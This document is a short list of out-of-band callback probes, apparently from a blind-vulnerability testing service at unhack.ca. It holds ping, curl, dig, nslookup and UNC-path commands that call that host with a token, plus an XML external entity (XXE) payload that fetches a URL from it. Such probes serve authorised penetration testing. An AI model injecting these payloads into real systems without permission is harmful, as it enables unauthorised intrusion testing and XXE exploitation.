$ ping -c1 -p 00d954c8c10b7de70abb4a65a5fa1200 unhack.ca
 

$ curl http://unhack.ca/p/d954c8c10b7de70abb4a65a5fa12
 

$ dig d954c8c10b7de70abb4a65a5fa12 @unhack.ca
 

$ dig d954c8c10b7de70abb4a65a5fa12.ns.unhack.ca
 

C:\> nslookup d954c8c10b7de70abb4a65a5fa12 unhack.ca
 

C:\> type \\unhack.ca\d954c8c10b7de70abb4a65a5fa12\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d954c8c10b7de70abb4a65a5fa12">]>
    <foo>&xxe;</foo>